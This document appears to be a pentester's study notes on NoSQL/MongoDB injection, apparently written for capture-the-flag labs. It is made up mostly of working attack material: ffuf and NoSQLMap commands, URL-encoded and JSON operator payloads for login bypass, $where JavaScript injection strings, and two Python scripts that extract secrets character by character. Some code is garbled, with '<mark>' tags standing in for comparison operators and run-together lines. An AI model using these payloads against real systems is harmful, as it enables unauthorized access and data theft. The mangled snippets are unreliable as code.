Injection#
See syntax at Mongodb
The problem with mongodb is that it is a nosql, and weird syntax. So there are multiple way to implement mongodb, it is all chaotic
Tools#
ffuf#
ffuf -w /usr/share/seclists/Fuzzing/Databases/NoSQL.txt -u http://10.10.10.10/index.php -d '{"trackingNum": FUZZ}'NoSqlMap#
Yes, python2…
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
sudo apt install python2.7
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 install couchdb
pip2 install --upgrade setuptools
pip2 install pbkdf2
pip2 install pymongo
pip2 install ipcalcWe can demonstrate this tool on MangoMail. Imagine we know the admin’s email is admin@mangomail.com, and we want to test if the password field is vulnerable to NoSQL injection. To test that out, we can run NoSQLMap with the following arguments:
--attack 2to specify aWeb attack--victim 127.0.0.1to specify the IP address--webPort 80to specify the port--uri /index.phpto specify the URL we want to send requests to--httpMethod POSTto specify we want to send POST requests--postData email,admin@mangomail.com,password,qwertyto specify the two parametersemailandpasswordthat we want to send with the default valuesadmin@mangomail.comandqwertyrespectively--injectedParameter 1to specify we want to test thepasswordparameter--injectSize 4to specify a default size for randomly generated data
python2 nosqlmap.py --attack 2 --victim 127.0.0.1 --webPort 80 --uri /index.php --httpMethod POST --postDataExample code 1 - Exfiltration#
...
app.post('/api/v1/getUser', (req, res) => {
client.connect(function(_, con) {
const cursor = con
.db("example")
.collection("users")
.find({username: req.body['username']});
}}
...In this code, the webapp use the value of username straight into the query with no sanitization.
We could exfiltrate data by inject a regex operator that matches everything like this
{"username": {$regex: ".*"}}curl -X POST http://10.10.10.10/api/v1/getUser -H 'Content-Type: application/json' -d '{"username": {$regex: ".*"}}'Example code 2 - Auth bypass#
This php code takes email and password parameter and search it in mongomail db, in users table.
...
if ($_SERVER['REQUEST_METHOD'] === "POST"):
if (!isset($_POST['email'])) die("Missing `email` parameter");
if (!isset($_POST['password'])) die("Missing `password` parameter");
if (empty($_POST['email'])) die("`email` can not be empty");
if (empty($_POST['password'])) die("`password` can not be empty");
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$query = new MongoDB\Driver\Query(array("email" => $_POST['email'], "password" => $_POST['password']));
$cursor = $manager->executeQuery('mangomail.users', $query);
if (count($cursor->toArray()) > 0) {
...But the webapp pass in user input with no sanitization. However, since we cannot make a request with json body, we can’t inject like the example above
Fortunately, we have a way. When passing URL-encoded parameters to PHP, param[$op]=val is the same as param: {$op: val}
So we can inject like this:
curl -X POST http://10.10.10.10/index.php -H 'Content-Type: application/x-www-form-urlencoded' -d 'email[$ne]=invalidEmail' -d 'password[$ne]=invalidPassword'Resulting in a http request like this
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email[$ne]=invalidEmail&password[$ne]=invalidPasswordIt basically translates to:
{"email": {$ne: "invalidEmail"}, {"password": {$ne: "invalidPassword"}}}We can also use other operators
$regex
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email[$regex]=/.*/&password[$regex]=/.*/$nebut targeting specific user
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=admin@mangomail.com&password[$ne]=x$gtgreater than an empty string
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email[$gt]=&password[$gt]=$gtegreater equal an empty string
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email[$gte]=&password[$gte]=$ltfirst character of param less than “~”. ~ is the largest printable ascii
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email[$lte]=~&password[$lt]=~$ltesame logic as above
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email[$lte]=~&password[$lte]=~Example 3 - Blind injection#
Brute force 1 character at a time, ^a then ^b, ^c, if hit then ^ca and so on
POST /index.php HTTP/1.1
Content-Type: application/json
{"code": {$regex: "^a"}}import requests
def oracle(guess):
success = "Success condition string"
response = requests.post('http://94.237.121.111:50684/index.php', json={"code": {"$regex": f"^{guess}"}}, proxies={"http": "http://localhost:8080"})
return success in response.text
bruted = ""
for _ in range(40):
isFound = False
for c in "0123456789abcdefHTB{}":
if oracle(bruted+c):
bruted+=c
isFound = True
break
if not isFound:
assert(oracle(bruted) == True)
print(bruted)
breakExample 4 - Javascript Injection#
Js common sense: if there are multiple
||and&&, js evaluates&&first. If there is(), js evaluates inside()first. eg.false || true || true && false=false || true || false=true
The js code below use $where, which is a operator to use javascript expression. This code is vulnerable to injection
...
.find({$where: "this.username <mark> \"" + req.body['username'] + "\" && this.password </mark> \"" + req.body['password'] + "\""});
...Auth bypass#
We can bypass authentication by injecting " || ""==" into username and password, which results in a query like this:
db.users.find({$where: 'this.username <mark> "" || ""</mark>"" && this.password <mark> "" || ""</mark>""'})If the password field is hashed, we can inject " || true || ""==" in username field, resulting in this query:
db.users.find({
$where: 'this.username =<mark> "" || true || ""</mark>"" && this.password === "<password>"'
});Blind extraction#
If we want to extract username, we can do error based blind injection this way.
" || (this.username.match('^A.*')) || ""=="
" || (this.username.match('^B.*')) || ""=="If we want to automate this, for some reason regex does not work, so here’s a workaround. charCodeAt() returns int of the ascii character at the position we input. So if the string is “Exusiai”, charCodeAt(0) returns 69, which is value of E in ascii
" || (this.username.charCodeAt(0) <mark> 32) || ""</mark>"So we can use a script like this. This script doesn’t know where to stop, since I’m lazy, so I will just brute force 40 characters at the same time. If it cannot find a character, it will just not do anything.
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
def oracle(guess):
success = "Logged in as"
data = {
"username": '" || (this.username.charCodeAt%s) || ""=="' % (guess),
"password": "asdasd"
}
response = requests.post('http://83.136.255.170:34736/index.php', data=data, proxies={"http": "http://localhost:8080"})
return success in response.text
def bruteThread(charNum, bruted):
low = 32
high = 126
mid = 0
while low <= high:
mid = (low + high) // 2
if oracle(f"({charNum}) == {mid}"):
bruted[charNum]=chr(mid)
return True
elif oracle(f"({charNum}) < {mid}"):
high = mid - 1
else:
low = mid + 1
return
bruted = [None]*40
with ThreadPoolExecutor(max_workers=40) as spawnThread:
for charNum in range(40):
spawnThread.submit(bruteThread, charNum, bruted)
print("".join(c for c in bruted if c))